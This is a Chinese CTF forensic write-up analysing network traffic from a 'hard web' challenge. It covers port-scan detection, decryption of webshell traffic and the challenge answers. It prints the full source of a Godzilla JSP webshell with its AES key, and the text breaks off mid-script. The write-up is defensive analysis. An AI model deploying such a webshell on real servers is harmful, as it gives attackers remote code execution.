好久没打过比赛了,对于这种偏蓝方的比赛我还是很喜欢
本文首发于:先知社区:https://xz.aliyun.com/t/13177
HW
hard web_1
题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
打开流量包就能看到,192.168.162.188
对192.168.162.180
进行端口扫描
所以由此可以确定192.168.162.188
是黑客IP。根据题目确定,如果端口开放,那么黑客发送带有SYN的TCP段报文,服务器会返回(SYN,ACK)的TCP段报文。
所以我们只需要寻找响应IP是服务器IP并且发送了(SYN,ACK)报文。
过滤器写法如下:
ip.src == 192.168.162.180 and tcp.connection.synack
ip.src == 192.168.162.180 and tcp.flags=0x012
可以看到前三个报文是扫描到开放端口返回的(SYN,ACK)报文,其他都是与80端口开放的服务进行通信
那么答案就是80,888,8888
hard web_2
问题内容:服务器中根目录下的flag值是多少?
因为看到了80端口开放,我们看看web服务发生了什么
可以看到黑客对web服务进行路径扫描,服务器返回了大量的404状态,因此我们通过过滤器语法http.request or http.response.code == 200
查看黑客对服务器的请求以及(如果存在)web页面的响应
可以看到服务器存在一个test.jsp
的webshell,黑客执行了一些命令,在最后查看了shell.jsp
的内容
我们查看一下shell.jsp的内容,稍微代码美化一下可以得到如下
<%! String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
} %>
<%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {
}
%>
可以看到这是未加密的哥斯拉JSP木马,key是748007e861908c03,那么可以通过解密脚本去解密流量,具体分析请看这里,这里放一下我自动提取哥斯拉木马的交互流量分析脚本和解密脚本。
# extract_pcap.py
import pyshark
import pickle
pcap = pyshark.FileCapture(
"../hard_web.pcap", display_filter="http.request.uri==\"/shell.jsp\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")
HTTPchat = {
"req": [], "res": []} # 创建请求和响应的字典
def get_file_data(pkt): # 获取file_data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
Data = reassmbledData[reassmbledData.find("\r\n\r\n".encode())+4:]
if int(pkt.http.content_length) == len(Data): # 这段可以不用加,一般情况下都是完整的
return Data
else:
return pkt.http.file_data.binary_value
for pkt in pcap:
if int(pkt.number) < 24256: # 跳到关键请求
continue
if pkt.http.chat.split(" ")[0] in ["GET", "POST"]: # 检测是否是请求
HTTPchat["req"].append(
{
pkt.number: get_file_data(pkt)}) # 添加请求数据
if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]: # 检测是否是响应
HTTPchat["res"].append({
pkt.http.request_in: get_file_data(pkt)})
pickle.dump(HTTPchat, open("HTTPchat.pkl", "wb")) # 保存文件
# decrypt.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import pickle
import gzip
def decrypt(data): # 解密
xc = "748007e861908c03"
xc = xc.encode("utf-8")
cipher = AES.new(xc, AES.MODE_ECB)
cipherResult = cipher.decrypt(data)
cipherResult = unpad(cipherResult, AES.block_size)
try:
result = gzip.decompress(cipherResult).decode("utf-8")
except Exception as e:
print(e)
result = cipherResult.decode(errors="ignore")
return result
HTTPchat = pickle.load(open("HTTPchat.pkl", "rb")) # 读取文件
for i in range(len(HTTPchat["req"])):
req = list(HTTPchat["req"][i].values())[0]
res = list(HTTPchat["res"][i].values())[0]
if req == None or res == None:
continue # 第一次进行POST没有经过gzip,详细看https://xz.aliyun.com/t/10556
print(decrypt(req), end="\n***************\n")
print(decrypt(res), end="\n***************\n")
通过脚本解密后就会发现执行了flag的命令
那么答案就是flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard web_3
问题内容:该webshell的连接密码是多少?
通过之前了解到key是748007e861908c03,但是这个key是通过md5(密钥).substring(0,16)
得到的,通过查看流量发现这个连接密码的格式如key = 1****y
理论上可以通过爆破来做,写个脚本看看
# brute.py
from hashlib import<